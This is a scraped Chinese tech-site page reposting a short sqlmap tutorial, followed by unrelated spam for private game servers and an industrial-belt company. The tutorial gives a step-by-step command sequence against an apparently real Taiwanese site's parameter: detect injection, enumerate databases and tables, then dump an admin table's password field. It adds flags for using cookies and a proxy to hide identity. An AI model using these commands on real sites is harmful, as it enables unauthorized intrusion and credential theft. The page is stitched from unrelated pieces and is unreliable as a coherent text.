中国领先的IT技术网站
51CTO旗下网站
sqlmap注入常见用法***
sqlmap是一个灰常强大的sql注入检测与辅助工具，但是由于没有图形界面，基本上用起来比较麻烦，导致很多人可能宁愿用havij或者是pangolin也不愿意麻烦去翻帮助界面，其实真正用起来也就5,6句，也不会太复杂。
作者：Jarett来源：博客| 09:58
sqlmap是一个灰常强大的sql注入检测与辅助工具，但是由于没有图形界面，基本上用起来比较麻烦，导致很多人可能宁愿用havij或者是pangolin也不愿意麻烦去翻帮助界面，我自己也是把很多语句贴到了一个记事本里面用，其实真正用起来也就5,6句，也不会太复杂，下文以php+mysql为例：
检查注入点sqlmap -u .tw/star_photo.php?artist_id=11
列数据库信息sqlmap -u .tw/star_photo.php?artist_id=11 --dbs
指定库名列出所有表sqlmap -u .tw/star_photo.php?artist_id=11 -D
vhost48330 --tables
指定库名表名列出所有字段sqlmap -u .tw/star_photo.php?artist_id=11 -D
vhost48330 -T admin --columns
指定库名表名字段dump出指定字段sqlmap -u .tw/star_photo.php?artist_id=11 -D
vhost48330 -T admin -C ac,id,password --dump
有几个参数可能会用到，直接加在最后面就可以了，更多详细参数见官方文档：
--cookie=COOKIE 在需要登录的地方，需要登录后的cookie
--proxy=&http://127.0.0.1:8087& 使用HTTP代理隐藏自己的身份，比如使用goagent等
--sql-query=QUERY 执行一个sql语句，不一定支持
过程的几张图如下：
【编辑推荐】【责任编辑： TEL：（010）】
大家都在看猜你喜欢
热点热点热点头条热点
24H热文一周话题本月最赞
讲师：41864人学习过
讲师：3864人学习过
讲师：24510人学习过
精选博文论坛热帖下载排行
Web服务技术是最近几年迅速兴起的一种应用集成技术，而安全问题是影响该技术广泛应用的一个关键因素。这个问题已成为最近几年来国内外研究...
订阅51CTO邮刊热血江湖私服,新开热血江湖私服发布网,玉川热血江湖sf发布网
游客，欢迎您！　　　
限制10开,经验6倍,市场摆摊、支持...
一、经验6倍，单线12倍，周末翻倍2天。二、保持了官方原有特色任务，开服一个月后开始更新原创任...
下面我们来看一下斗战热血江湖游戏涅?之焰获得解析攻略，游戏中肯定想知道...
我们今天送上的是梦幻热血江湖游戏迪士尼背景解读内容攻略，用怀旧的元素演...
我们今天为玩家解读热血江湖4游戏ps4版内容介绍攻略说明，这里有哪些内容，...
今天我们说一下绝世热血江湖游戏神秘隐藏任务说明攻略，在游戏里独创个性化...
现在有不少的小白被那些所谓的***骗过，就是要先付定金...
一、经验6倍，单线12倍，周末翻倍2天。二、保持了官方原有...
你们别说这群红名的人脉关系还是蛮广的，但是喊来的都是红...
我们那时候30多级，我记得很清楚我都38级，然后我们AOK皇朝...
你是热血江湖玩家么？您当前的位置： & 欢迎光临
信捷工业皮带有限公司于1999年成立于海上丝绸之路和卫生用品基地——泉州。致力于传动与输送领域。公司有2300平方仓储中心和瑞士进口加工设备10台，全国目前有10个销售服务网点，年销售额5000万，可24小时为客户提供方便快捷高效的服务。作为一个在卫生用品行业的专业销售团队，信捷工业皮带是世界顶级工业皮带美国盖茨gates、瑞士哈柏司habasit在卫生用品行业唯一授权指定的工业皮带销售服务与战略合作伙伴，产品包括：同步带（8M、14M等）、输送带（HAT-5E、FAB-5E等）、平面传动带（S-15、SP-10/15等）、硅胶带（SI-15WL、FAB-5ER等）、圆带、海棉带、高速三角带，等特殊加工皮带。还有包装机械用到的pu-8m， L带 ，绿色PVC2.0输送带等 .纺织行业用到的龙带（S-23,TC系列，） 同步带 等 。信捷工业皮带——卫生用品行业的最佳合作伙伴，提供传动输送系统解决方案。 []
该公司暂无招商，下面为您随机推荐招商信息
以上信息由企业自行提供，该企业负责信息内容的真实性、准确性和合法性。商通网对此不承担任何保证责任，请慎重选择交易对象以防被骗。